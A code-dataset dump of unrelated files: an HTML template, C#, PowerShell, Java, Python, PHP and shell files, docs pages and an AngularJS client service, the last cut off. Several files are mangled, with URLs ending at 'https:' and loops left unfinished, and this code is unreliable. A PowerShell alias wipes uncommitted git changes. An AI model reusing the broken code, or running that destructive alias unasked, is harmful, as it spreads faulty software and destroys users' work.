answer
stringlengths
15
1.25M
# Gibberidea insularis (Ces.) Kuntze SPECIES # Status ACCEPTED # According to Index Fungorum # Published in Revis. gen. pl. (Leipzig) 3: 481 (1898) # Original name Cucurbitaria insularis Ces. Remarks null
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>House of Entrepreneurs</title> <link href="/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom CSS --> <link href="/css/freelancer.css" rel="stylesheet"> <!-- Custom Fonts --> <link href="/css/font-awesome.css" rel="stylesheet" type="text/css"> <link href="http://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href="http://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic" rel="stylesheet" type="text/css"> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file: <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif] </head> <body id="page-top" class="index"> <!-- Navigation --> <nav class="navbar navbar-default navbar-fixed-top"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header page-scroll"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#<API key>"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="/"> House of Entrepreneurs <span class="<API key>">Networking - Sharing - Success</span> </a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="<API key>"> <ul class="nav navbar-nav navbar-right"> <li class="hidden"> <a href="#page-top"></a> </li> <li class="page-scroll"> <a href="/about">About</a> </li> <li class="page-scroll"> <a href="/partners">Partners</a> </li> <li class="page-scroll"> <a href="/questionss">Questions</a> </li> <li class="page-scroll"> <a href="/news">News</a> </li> <li class="page-scroll"> <a href="/register">Register</a> </li> <li class="page-scroll"> <a href="/login">Login</a> </li> </ul> </div> <!-- /.navbar-collapse --> </div> <!-- /.container-fluid --> </nav> <div class="padding-top-md"></div> <div class="padding-top-md"></div> <article class="post"> <header class="post-header padding-md"> <h1 class="post-title">Questions</h1> </header> <div class="post-content padding-md max-800"> <div class="row"> <div class="col-sm-3 text-center"> <img src="http://lorempixel.com/g/200/200" /> </div> </div> </div> </article> <!-- Footer --> <footer class="text-center"> <div class="footer-above"> <div class="container"> <div class="row"> <div class="footer-col col-md-4"> <h3>About Home of Entrepreneurs</h3> <p>A network of the best entrepreneurs.</p> </div> <div class="footer-col col-md-4"> <h3>Around the Web</h3> <ul class="list-inline"> <li> <a href="#" class="btn-social btn-outline"><i class="fa fa-fw fa-facebook"></i></a> </li> <li> <a href="#" class="btn-social btn-outline"><i class="fa fa-fw fa-twitter"></i></a> </li> </li> </ul> </div> <div class="footer-col col-md-4"> <h3>Sponsored by <a href="https: <p>Your trusted insurance partner.</p> <a href="https: </div> </div> </div> </div> <div class="footer-below"> <div class="container"> <div class="row"> <div class="col-lg-12"> Made at <b>Creative Mix Party 2015</b>, Troyes, by <b>The Strangers</b> </div> </div> </div> </div> </footer> <!-- jQuery --> <script src="/js/jquery.js"></script> <!-- Bootstrap Core JavaScript --> <script src="/js/bootstrap.min.js"></script> <!-- Plugin JavaScript --> <script src="/js/jquery.easing.min.js"></script> <script src="/js/classie.js"></script> <script src="/js/cbpAnimatedHeader.js"></script> <!-- Contact Form JavaScript --> <script src="/js/<API key>.js"></script> <script src="/js/contact_me.js"></script> <!-- Custom Theme JavaScript --> <script src="/js/freelancer.js"></script> </body> </html>
using JetBrains.Annotations; using JetBrains.ProjectModel; using JetBrains.ReSharper.Plugins.Unity.Shaders.ShaderLab.ProjectModel; using JetBrains.ReSharper.Psi; using JetBrains.ReSharper.Psi.Modules.ExternalFileModules; using JetBrains.ReSharper.Psi.<API key>; using JetBrains.ReSharper.Resources.Shell; namespace JetBrains.ReSharper.Plugins.Unity.Shaders.ShaderLab.Psi { // Visual C++ creates a hidden project to contain files for "single file intellisense". // For some reason, it will add open .shader files, although we don't get intellisense. // I presume this is some kind of DirectX format (Cg/HLSL/whatever). ReSharper creates // a PSI module for this project, complete with PSI source files for the .shader files // that already exist in the normal C# project. This means we parse them multiple times // and causes issues with resolve - find usages on a ShaderLab property now has two // targets, one from the C# project and another from the hidden VC++ project. // This provider will provide new PSI properties for the hidden .shader files, so that // we don't add them into the PSI code model. [PsiSharedComponent] public class <API key> : <API key> { public <API key> GetPsiProperties(<API key> prevProperties, IProject project, [CanBeNull] IProjectFile projectFile, IPsiSourceFile sourceFile) { using (ReadLockCookie.Create()) { // R# already has a helper method to recognise the SFI project - <API key> if (projectFile != null && prevProperties != null && prevProperties.ShouldBuildPsi && prevProperties.ProvidesCodeModel && !(sourceFile is <API key>) && project.<API key>() && projectFile.LanguageType.Is<<API key>>()) { return <API key>.<API key> .Instance; } } return prevProperties; } public double Order => int.MaxValue; } }
# PROXY CONFIG (if needed) #$browser = New-Object System.Net.WebClient #$browser.Proxy.Credentials =[System.Net.CredentialCache]::<API key> # INITIAL CONFIG ## uncomment the necessary modules for first run #Install-Module Find-String #Set-ExecutionPolicy unrestricted # Install OpenSSH # Note: do not install chocolatey. Use Install-Package instead. # Get-PackageProvider # Get-PackageSource -Provider chocolatey # Install-Package -Name openssh -Force # Add to path $env:path += ";" + (Get-Item "Env:ProgramFiles").Value + "\OpenSSH-Win64" $env:path += ";" + (Get-Item "Env:ProgramFiles").Value + "\7-zip" $env:path += ";" + (Get-Item "Env:ProgramFiles").Value + "\Git\bin" ## For working less (except in ISE) #Install-Package Pscx -Force -ProviderName chocolatey ## For history with up/down arrows #Install-Package PSReadLine #Import-Module PSReadLine $MaximumHistoryCount = 10000 Unblock-File "$home\Documents\WindowsPowerShell\Scripts\<API key>.ps1" . "$home\Documents\WindowsPowerShell\Scripts\<API key>.ps1" ## Produce UTF-8 by default $<API key>["Out-File:Encoding"]="utf8" # GENERAL ALIASES # Functions are required for multi-line commands Function notepad { start notepad++ } New-Alias c clear New-Alias ll dir New-Alias np notepad # DANGEROUS ALIASES New-Alias reboot Restart-Computer # DIRECTORY ALIASES # Functions are required for multi-line commands Function GoBackUpOne { cd ..; dir; } Function GoToDesktop { c:; cd .\Desktop; dir} Function GoToHomeDirectory { cd ~; dir } # Bind alias with function call New-Alias .. GoBackUpOne New-Alias ~ GoToHomeDirectory New-Alias cdd GoToDesktop New-Alias e explorer # SOME HANDY FUNCTIONS function uptime { Get-WmiObject <API key> | select csname, @{LABEL='LastBootUpTime'; EXPRESSION={$_.ConverttoDateTime($_.lastbootuptime)}} } function <API key> { subl $profile } function <API key> { & $profile } function get-windows-build { [Environment]::OSVersion } function unarchive([string]$file, [string]$outputDir = '') { if (-not (Test-Path $file)) { $file = Resolve-Path $file } if ($outputDir -eq '') { $outputDir = [System.IO.Path]::<API key>($file) } 7z e "-o$outputDir" $file } function findfile($name) { ls -recurse -filter "*${name}*" -ErrorAction SilentlyContinue | foreach { $place_path = $_.directory echo "${place_path}\${_}" } } function get-path { ($Env:Path).Split(";") } function explorer { explorer.exe . } function open($file) { ii $file } function fuser($relativeFile){ $file = Resolve-Path $relativeFile echo "Looking for processes using $file" foreach ( $Process in (Get-Process)) { foreach ( $Module in $Process.Modules) { if ( $Module.FileName -like "$file*" ) { $Process | select id, path } } } } # UNIXLIKE SHELL COMMANDS function df { get-volume } function sed($file, $find, $replace){ (Get-Content $file).replace("$find", $replace) | Set-Content $file } function sed-recursive($filePattern, $find, $replace) { $files = ls . "$filePattern" -rec foreach ($file in $files) { (Get-Content $file.PSPath) | Foreach-Object { $_ -replace "$find", "$replace" } | Set-Content $file.PSPath } } function grep($regex, $dir) { if ( $dir ) { ls $dir | select-string $regex return } $input | select-string $regex } function grepv($regex) { $input | ? { !$_.Contains($regex) } } function which($name) { Get-Command $name | Select-Object -ExpandProperty Definition } # Should really be name=value like Unix version of export but not a big deal function export($name, $value) { set-item -force -path "env:$name" -value $value; } function pkill($name) { ps $name -ErrorAction SilentlyContinue | kill } function pgrep($name) { ps $name } function touch($file) { "" | Out-File $file -Encoding ASCII } function sudo { $file, [string]$arguments = $args; $psi = new-object System.Diagnostics.ProcessStartInfo $file; $psi.Arguments = $arguments; $psi.Verb = "runas"; $psi.WorkingDirectory = get-location; [System.Diagnostics.Process]::Start($psi) >> $null } function pstree { $ProcessesById = @{} foreach ($Process in (Get-WMIObject -Class Win32_Process)) { $ProcessesById[$Process.ProcessId] = $Process } $<API key> = @() $ProcessesByParent = @{} foreach ($Pair in $ProcessesById.GetEnumerator()) { $Process = $Pair.Value if (($Process.ParentProcessId -eq 0) -or !$ProcessesById.ContainsKey($Process.ParentProcessId)) { $<API key> += $Process continue } if (!$ProcessesByParent.ContainsKey($Process.ParentProcessId)) { $ProcessesByParent[$Process.ParentProcessId] = @() } $Siblings = $ProcessesByParent[$Process.ParentProcessId] $Siblings += $Process $ProcessesByParent[$Process.ParentProcessId] = $Siblings } function Show-ProcessTree([UInt32]$ProcessId, $IndentLevel) { $Process = $ProcessesById[$ProcessId] $Indent = " " * $IndentLevel if ($Process.CommandLine) { $Description = $Process.CommandLine } else { $Description = $Process.Caption } Write-Output ("{0,6}{1} {2}" -f $Process.ProcessId, $Indent, $Description) foreach ($Child in ($ProcessesByParent[$ProcessId] | Sort-Object CreationDate)) { Show-ProcessTree $Child.ProcessId ($IndentLevel + 4) } } Write-Output ("{0,6} {1}" -f "PID", "Command Line") Write-Output ("{0,6} {1}" -f " foreach ($Process in ($<API key> | Sort-Object CreationDate)) { Show-ProcessTree $Process.ProcessId 0 } } function unzip ($file) { $dirname = (Get-Item $file).Basename echo("Extracting", $file, "to", $dirname) New-Item -Force -ItemType directory -Path $dirname expand-archive $file -OutputPath $dirname -ShowProgress } # GIT ALIASES # Functions are required for multi-line commands Function GitAdd { git add -A } Function GitBranch { git branch } Function GitCheckout { git checkout $args } Function GitCommit { git commit -m } Function GitDiff { git diff } Function GitFetch { git fetch --prune } Function GitGetStatus { git status } Function GitLog { git log --graph --name-only } Function GitMove { git mv } Function GitNukeChanges { git clean -f -d; git reset HEAD --hard; git status; } Function GitPush { git push } Function GitPull { git pull --all } Function GitRefresh { git pull --all; git fetch --prune; } Function GitUnstageFile {git reset HEAD $args;} Function <API key> { git checkout -b $args; git push --set-upstream origin $args; } # Bind alias with function call New-Alias ga GitAdd New-Alias gb GitBranch New-Alias go GitCheckout New-Alias gd GitDiff New-Alias gf GitFetch New-Alias gs GitGetStatus New-Alias glog GitLog New-Alias gmov GitMove New-Alias git_nuke GitNukeChanges New-Alias gpull GitPull New-Alias gpush GitPush New-Alias git_refresh GitRefresh New-Alias git_unstage GitUnstageFile New-Alias new_branch <API key> # GIT OPTIMIZED PROMPT # Displays git branch and stats when inside a git repository . (Resolve-Path ~/Documents/WindowsPowershell/Scripts/gitutils.ps1) function prompt { $path = [string]$pwd $host.UI.RawUi.WindowTitle = Get-Location Write-Host " ~" -nonewline -foregroundcolor Green if (<API key>) { $status = gitStatus $currentBranch = $status["branch"] Write-Host(' [') -nonewline -foregroundcolor Yellow if ($status["ahead"] -eq $FALSE) { # We are not ahead of origin Write-Host($currentBranch) -nonewline -foregroundcolor Cyan } else { # We are ahead of origin Write-Host($currentBranch) -nonewline -foregroundcolor Red } if ($status["untracked"] -ne $FALSE) { Write-Host(' !') -nonewline -foregroundcolor Yellow } Write-Host(']') -nonewline -foregroundcolor Yellow } Write-Host(' $') -nonewline -foregroundcolor Green return " " }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="main.css"> <script src="main.js"></script> </head> <body> <p>You have successfully submitted a proposal for the opportunity:</p> <h4><a href="{{opportunity.path}}">{{opportunity.name}}</a></h4> </body> </html>
package test.engine; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotEquals; import static org.junit.Assert.fail; import java.io.<API key>; import java.io.<API key>; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import org.junit.Test; import hive.engine.Coordinate; import hive.engine.Move; import hive.pieces.Piece; import hive.pieces.PieceType; import hive.player.IPlayer; import hive.positions.SimplePosition; public class TestSerialization { static Object readObject(byte[] stream) throws <API key>, IOException { return new ObjectInputStream(new <API key>(stream)).readObject(); } static byte[] writeObject(Object obj) throws IOException { <API key> bos = new <API key>(); new ObjectOutputStream(bos).writeObject(obj); return bos.toByteArray(); } @Test public void testCoordinate() { try { Coordinate origin = Coordinate.axial(0, 0); byte[] stream = writeObject(origin); assertEquals(origin, readObject(stream)); stream = writeObject(Coordinate.axial(1, 0)); assertEquals(Coordinate.axial(1, 0), readObject(stream)); stream = writeObject(Coordinate.axial(1, -1)); assertNotEquals(Coordinate.axial(0, -1), readObject(stream)); } catch (Exception e) { fail("Failed with: " + e); } } @Test public void testPiece() { try { byte[] stream; stream = writeObject(Piece.createNew(IPlayer.Color.BLACK, PieceType.ANT)); assertEquals(Piece.createNew(IPlayer.Color.BLACK, PieceType.ANT), readObject(stream)); stream = writeObject(Piece.createNew(IPlayer.Color.WHITE, PieceType.BUG)); assertEquals(Piece.createNew(IPlayer.Color.WHITE, PieceType.BUG), readObject(stream)); } catch (Exception e) { fail("Failed with: " + e); } } @Test public void testMove() { try { byte[] stream; Piece p = Piece.createNew(IPlayer.Color.WHITE, PieceType.QUEEN); stream = writeObject(new Move(p, Coordinate.axial(0, 0), Coordinate.axial(1, 0))); assertEquals(new Move(p, Coordinate.axial(0, 0), Coordinate.axial(1, 0)), readObject(stream)); p = Piece.createNew(IPlayer.Color.BLACK, PieceType.GRASSHOPER); stream = writeObject(new Move(p, null, Coordinate.axial(-1, 5))); assertEquals(new Move(p, null, Coordinate.axial(-1, 5)), readObject(stream)); } catch (Exception e) { fail("Failed with: " + e); } } @Test public void testPosition() throws IOException, <API key> { byte[] stream; SimplePosition pos = new SimplePosition(); stream = writeObject(new SimplePosition()); assertEquals(pos, readObject(stream)); pos.accept(new Move(Piece.createNew(IPlayer.Color.WHITE, PieceType.ANT), null, Coordinate.axial(0, 0))); pos.accept(new Move(Piece.createNew(IPlayer.Color.BLACK, PieceType.BUG), null, Coordinate.axial(1, 0))); pos.accept(new Move(pos.getTopPieceAt(Coordinate.axial(0, 0)), Coordinate.axial(0, 0), Coordinate.axial(1, 1))); pos.accept(new Move(Piece.createNew(IPlayer.Color.BLACK, PieceType.QUEEN), null, Coordinate.axial(2, -1))); pos.accept(new Move(Piece.createNew(IPlayer.Color.WHITE, PieceType.BUG), null, Coordinate.axial(0, 2))); stream = writeObject(pos); assertEquals(pos, readObject(stream)); } }
# -*- coding:utf-8 -*- import os import random import sys import importlib importlib.reload(sys) UNK_ID = 3 train_encode_file = 'data/middle_data/train.enc' train_decode_file = 'data/middle_data/train.dec' test_encode_file = 'data/middle_data/test.enc' test_decode_file = 'data/middle_data/test.dec' <API key> = 'data/voca_data/<API key>' <API key> = 'data/voca_data/<API key>' print("...") def convert_to_vector(input_file, vocabulary_file, output_file): tmp_vocab = [] with open(vocabulary_file, "r", encoding="utf8") as f: tmp_vocab.extend(f.readlines()) tmp_vocab = [line.strip() for line in tmp_vocab] vocab = dict([(x, y) for (y, x) in enumerate(tmp_vocab)]) # {'': 3142, 'v': 577, '': 4789, '\ue796': 4515, '': 1333, '': 2201 ...} output_f = open(output_file, 'w', encoding="utf8") with open(input_file, 'r', encoding="utf8") as f: for line in f: line_vec = [] for words in line.strip(): line_vec.append(vocab.get(words, UNK_ID)) output_f.write(" ".join([str(num) for num in line_vec]) + "\n") output_f.close() convert_to_vector(train_encode_file, <API key>, 'data/vector_data/train_encode.vec') convert_to_vector(train_decode_file, <API key>, 'data/vector_data/train_decode.vec') convert_to_vector(test_encode_file, <API key>, 'data/vector_data/test_encode.vec') convert_to_vector(test_decode_file, <API key>, 'data/vector_data/test_decode.vec')
<?php class tp_account { var $group = 'account'; function prepare() { global $oscTemplate; $oscTemplate->_data[$this->group] = array('account' => array('title' => MY_ACCOUNT_TITLE, 'links' => array('edit' => array('title' => <API key>, 'link' => tep_href_link(<API key>, '', 'SSL'), 'icon' => 'person'), 'address_book' => array('title' => <API key>, 'link' => tep_href_link(<API key>, '', 'SSL'), 'icon' => 'home'), 'password' => array('title' => MY_ACCOUNT_PASSWORD, 'link' => tep_href_link(<API key>, '', 'SSL'), 'icon' => 'key'))), 'orders' => array('title' => MY_ORDERS_TITLE, 'links' => array('history' => array('title' => MY_ORDERS_VIEW, 'link' => tep_href_link(<API key>, '', 'SSL'), 'icon' => 'cart'))), 'notifications' => array('title' => <API key>, 'links' => array('newsletters' => array('title' => <API key>, 'link' => tep_href_link(<API key>, '', 'SSL'), 'icon' => 'mail-closed'), 'products' => array('title' => <API key>, 'link' => tep_href_link(<API key>, '', 'SSL'), 'icon' => 'heart')))); } function build() { global $oscTemplate; $output = ''; foreach ( $oscTemplate->_data[$this->group] as $group ) { $output .= '<h2>' . $group['title'] . '</h2>' . '<div class="contentText">' . ' <ul class="accountLinkList">'; foreach ( $group['links'] as $entry ) { $output .= ' <li><span class="'; if ( isset($entry['icon']) ) { $output .= ' ui-icon ui-icon-' . $entry['icon'] . ' '; } $output .= '<API key>"></span><a href="' . $entry['link'] . '">' . $entry['title'] . '</a></li>'; } $output .= ' </ul>' . '</div>'; } $oscTemplate->addContent($output, $this->group); } } ?>
package com.ctrip.framework.cs.asm.tree; import java.util.Map; import com.ctrip.framework.cs.asm.MethodVisitor; import com.ctrip.framework.cs.asm.Opcodes; /** * A node that represents a MULTIANEWARRAY instruction. * * @author Eric Bruneton */ public class <API key> extends AbstractInsnNode { /** * An array type descriptor (see {@link com.ctrip.framework.cs.asm.Type}). */ public String desc; /** * Number of dimensions of the array to allocate. */ public int dims; /** * Constructs a new {@link <API key>}. * * @param desc * an array type descriptor (see {@link com.ctrip.framework.cs.asm.Type}). * @param dims * number of dimensions of the array to allocate. */ public <API key>(final String desc, final int dims) { super(Opcodes.MULTIANEWARRAY); this.desc = desc; this.dims = dims; } @Override public int getType() { return MULTIANEWARRAY_INSN; } @Override public void accept(final MethodVisitor mv) { mv.<API key>(desc, dims); acceptAnnotations(mv); } @Override public AbstractInsnNode clone(final Map<LabelNode, LabelNode> labels) { return new <API key>(desc, dims).cloneAnnotations(this); } }
#!/bin/sh if [ -n "`uname | grep -i cygwin`" ] ; then echo "Script will not work under Cygwin." exit 1 fi # Figure out where we are. fullPath=$0 if [ -z "`echo $fullPath | grep '^/'`" ] ; then fullPath=$PWD/$fullPath fi if [ -f "/bin/pwd" ] ; then pwdExe=/bin/pwd elif [ -f "/usr/bin/pwd" ] ; then pwdExe=/usr/bin/pwd else echo "Can\'t find pwd executable. Exiting." exit 1 fi if [ -f "/bin/dirname" ] ; then dirnameExe=/bin/dirname elif [ -f "/usr/bin/dirname" ] ; then dirnameExe=/usr/bin/dirname else echo "Can\'t find dirname executable. Exiting." exit 1 fi d=`$dirnameExe "$fullPath"` trueD=`cd "$d"; $pwdExe` rootD=`cd "$trueD"/..; $pwdExe` DISTLIBS=$rootD/java-mat-core/dist/java-mat-core.jar:$rootD/<API key>/dist/<API key>.jar CORELIBDIR=$rootD/lib MAT_PKG_HOME=`cd "$rootD"/../../..; $pwdExe` JAVA_BIN=`grep JAVA_BIN: "${MAT_PKG_HOME}/etc/MAT_settings.config" | sed -e 's|JAVA_BIN: *||'` "$JAVA_BIN" -cp "$CORELIBDIR/commons-codec-1.2.jar:$CORELIBDIR/commons-logging-1.1.jar:$CORELIBDIR/<API key>.1.jar:$CORELIBDIR/jackson-core-lgpl-1.4.3.jar:$CORELIBDIR/<API key>.4.3.jar:$DISTLIBS" org.mitre.mat.engineclient.MATCgiClientDemo "$@"
require 'rails_helper' RSpec.describe RecordController, :type => :controller do end
#!/bin/bash set -ev gem install bundler --version 2.2.21
<html> <head> <meta name="viewport" content="width=device-width, initial-scale=1" charset="UTF-8"> <title>withCharacter</title> <link href="../../../images/logo-icon.svg" rel="icon" type="image/svg"> <script>var pathToRoot = "../../../";</script> <script type="text/javascript" src="../../../scripts/<API key>.js" async="async"></script> <link href="../../../styles/style.css" rel="Stylesheet"> <link href="../../../styles/logo-styles.css" rel="Stylesheet"> <link href="../../../styles/jetbrains-mono.css" rel="Stylesheet"> <link href="../../../styles/main.css" rel="Stylesheet"> <script type="text/javascript" src="../../../scripts/clipboard.js" async="async"></script> <script type="text/javascript" src="../../../scripts/navigation-loader.js" async="async"></script> <script type="text/javascript" src="../../../scripts/<API key>.js" async="async"></script> <script type="text/javascript" src="../../../scripts/main.js" async="async"></script> </head> <body> <div id="container"> <div id="leftColumn"> <div id="logo"></div> <div id="paneSearch"></div> <div id="sideMenu"></div> </div> <div id="main"> <div id="leftToggler"><span class="icon-toggler"></span></div> <script type="text/javascript" src="../../../scripts/pages.js"></script> <script type="text/javascript" src="../../../scripts/main.js"></script> <div class="main-content" id="content" pageIds="org.hexworks.zircon.api.data.base/BaseCharacterTile/withCharacter/#kotlin.Char/<API key>//-755115832"> <div class="navigation-wrapper" id="navigation-wrapper"> <div class="breadcrumbs"><a href="../../index.html">zircon.core</a>/<a href="../index.html">org.hexworks.zircon.api.data.base</a>/<a href="index.html">BaseCharacterTile</a>/<a href="with-character.html">withCharacter</a></div> <div class="pull-right d-flex"> <div class="filter-section" id="filter-section"><button class="platform-tag platform-selector common-like" data-active="" data-filter=":zircon.core:dokkaHtml/commonMain">common</button></div> <div id="searchBar"></div> </div> </div> <div class="cover "> <h1 class="cover"><span>with</span><wbr></wbr><span>Character</span></h1> </div> <div class="divergent-group" <API key>=":zircon.core:dokkaHtml/commonMain" data-filterable-set=":zircon.core:dokkaHtml/commonMain"><div class="with-platform-tags"><span class="pull-right"></span></div> <div> <div class="platform-hinted " <API key>="<API key>"><div class="content <API key>" data-active="" data-togglable=":zircon.core:dokkaHtml/commonMain"><div class="symbol monospace">open override fun <a href="with-character.html">withCharacter</a>(character: <a href="https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-char/index.html">Char</a>): <a href="../../org.hexworks.zircon.api.data/-character-tile/index.html">CharacterTile</a><span class="top-right-position"><span class="copy-icon"></span><div class="copy-popup-wrapper popup-to-left"><span class="copy-popup-icon"></span><span>Content copied to clipboard</span></div></span></div></div></div> </div> </div> <h2 class="">Sources</h2> <div class="table" data-togglable="Sources"><a data-name="%5Borg.hexworks.zircon.api.data.base%2FBaseCharacterTile%2FwithCharacter%2F%23kotlin.Char%<API key>%2F%5D%2FSource%2F-755115832" anchor-label="https://github.com/Hexworks/zircon/tree/master/zircon.core/src/commonMain/kotlin/org/hexworks/zircon/api/data/base/BaseCharacterTile.kt#L92" id="%5Borg.hexworks.zircon.api.data.base%2FBaseCharacterTile%2FwithCharacter%2F%23kotlin.Char%<API key>%2F%5D%2FSource%2F-755115832" data-filterable-set=":zircon.core:dokkaHtml/commonMain"></a> <div class="table-row" <API key>=":zircon.core:dokkaHtml/commonMain" data-filterable-set=":zircon.core:dokkaHtml/commonMain"> <div class="main-subrow keyValue "> <div class=""><span class="inline-flex"><a href="https://github.com/Hexworks/zircon/tree/master/zircon.core/src/commonMain/kotlin/org/hexworks/zircon/api/data/base/BaseCharacterTile.kt#L92">(source)</a><span class="anchor-wrapper"><span class="anchor-icon" pointing-to="%5Borg.hexworks.zircon.api.data.base%2FBaseCharacterTile%2FwithCharacter%2F%23kotlin.Char%<API key>%2F%5D%2FSource%2F-755115832"></span> <div class="copy-popup-wrapper "><span class="copy-popup-icon"></span><span>Link copied to clipboard</span></div> </span></span></div> <div></div> </div> </div> </div> </div> <div class="footer"><span class="go-to-top-icon"><a href=" </div> </div> </body> </html>
<!-- THIS IS AUTO-GENERATED CONTENT. DO NOT MANUALLY EDIT. --> This image is part of the [balena.io][balena] base image series for IoT devices. The image is optimized for use with [balena.io][balena] and [balenaOS][balena-os], but can be used in any Docker environment running on the appropriate architecture. ![balenalogo](https://avatars2.githubusercontent.com/u/6157842?s=200&v=4). Some notable features in `balenalib` base images: - Helpful package installer script called `install_packages` that abstracts away the specifics of the underlying package managers. It will install the named packages with smallest number of dependencies (ignore optional dependencies), clean up the package manager medata and retry if package install fails. - Working with dynamically plugged devices: each `balenalib` base image has a default `ENTRYPOINT` which is defined as `ENTRYPOINT ["/usr/bin/entry.sh"]`, it checks if the `UDEV` flag is set to true or not (by adding `ENV UDEV=1`) and if true, it will start `udevd` daemon and the relevant device nodes in the container /dev will appear. For more details, please check the [features overview](https://www.balena.io/docs/reference/base-images/base-images/#features-overview) in our documentation. # [Image Variants][variants] The `balenalib` images come in many flavors, each designed for a specific use case. ## `:<version>` or `:<version>-run` This is the defacto image. The `run` variant is designed to be a slim and minimal variant with only runtime essentials packaged into it. ## `:<version>-build` The build variant is a heavier image that includes many of the tools required for building from source. This reduces the number of packages that you will need to manually install in your Dockerfile, thus reducing the overall size of all images on your system. [variants]: https://www.balena.io/docs/reference/base-images/base-images/#run-vs-build?ref=dockerhub # Supported versions and respective `Dockerfile` links : [& For more information about this image and its history, please see the [relevant manifest file (`amd64-debian`)](https: # How to use this image Create a `Dockerfile` in your app project dockerfile FROM balenalib/amd64-debian:latest # replace this with your application You can then build and run the Docker image: console $ docker build -t my-app . $ docker run -it --rm --name my-running-app my-app # User Feedback ## Issues If you have any problems with or questions about this image, please contact us through a [GitHub issue](https://github.com/balena-io-library/base-images/issues). ## Contributing You are invited to contribute new features, fixes, or updates, large or small; we are always thrilled to receive pull requests, and do our best to process them as fast as we can. Before you start to code, we recommend discussing your plans through a [GitHub issue](https://github.com/balena-io-library/base-images/issues), especially for more ambitious contributions. This gives other contributors a chance to point you in the right direction, give you feedback on your design, and help you find out if someone else is working on the same thing. ## Documentation Documentation for this image is stored in the [base images documentation][docs]. Check it out for list of all of our base images including many specialised ones for e.g. node, python, go, smaller images, etc. You can also find more details about new features in `balenalib` base images in this [blog post][migration-docs] [docs]: https://www.balena.io/docs/reference/base-images/base-images/#balena-base-images?ref=dockerhub [variants]: https://www.balena.io/docs/reference/base-images/base-images/#run-vs-build?ref=dockerhub [migration-docs]: https: [balena]: https://balena.io/?ref=dockerhub [balena-os]: https:
var ServerService = angular.module('ServerService', []) .service('ServerService', ["$q", "$http", "$location", 'localStorageService', function (q, http, location, localStorageService) { var serverurl = 'http://195.220.224.164/'; var user = ""; var putUserInStorage = function (user) { localStorageService.set("adminObject", user); } this.clearUserInStorage = function () { var keys = localStorageService.keys(); for (var i = keys.length - 1; i >= 0; i localStorageService.remove(keys[i]); }; } var getUserInStorage = function () { var keys = localStorageService.keys(); if (keys.length == 0) { return null; } for (var i = keys.length - 1; i >= 0; i if (keys[i] == "adminObject") { var userObj = localStorageService.get(keys[i]); return userObj; } }; return null; } this.getUserInStorage = function () { var keys = localStorageService.keys(); if (keys.length == 0) { return null; } for (var i = keys.length - 1; i >= 0; i if (keys[i] == "adminObject") { var userObj = localStorageService.get(keys[i]); return userObj; } }; return null; } this.login = function (object) { var deffered = q.defer(); http.post(serverurl + "pais/administrators/login", object). success(function(data, status) { if (status == 200) { putUserInStorage(data); deffered.resolve(true); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.logout = function (object) { this.clearUserInStorage(); location.path("/login"); } this.updateClient = function (user) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.put(serverurl + "pais/clients", user). success(function(data, status) { var result = JSON.stringify(data); var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getClient = function (id) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/clients/" + id). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { console.log(JSON.stringify(data)); deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getClients = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/clients"). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.registerUser = function (user) { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); console.log("registerUser " + user); http.post(serverurl + "pais/clients", user). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK"); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error"); deffered.reject("Error"); }); return deffered.promise; } this.getAccountTypes = function () { var userLS = getUserInStorage(); if (userLS == null) { location.path("/login"); } var deffered = q.defer(); http.get(serverurl + "pais/clientTypes"). success(function(data, status) { //var result = JSON.stringify(data); //var dataJSON = JSON.parse(result); if (status == 200) { deffered.resolve(data); } else { console.log("Status not OK " + status); deffered.reject("Error"); } }). error(function(data, status) { console.log("Error " + status); deffered.reject("Error"); }); return deffered.promise; } this.getCities = function () { var userLS = getUserInStorage(); if (userLS == null) { 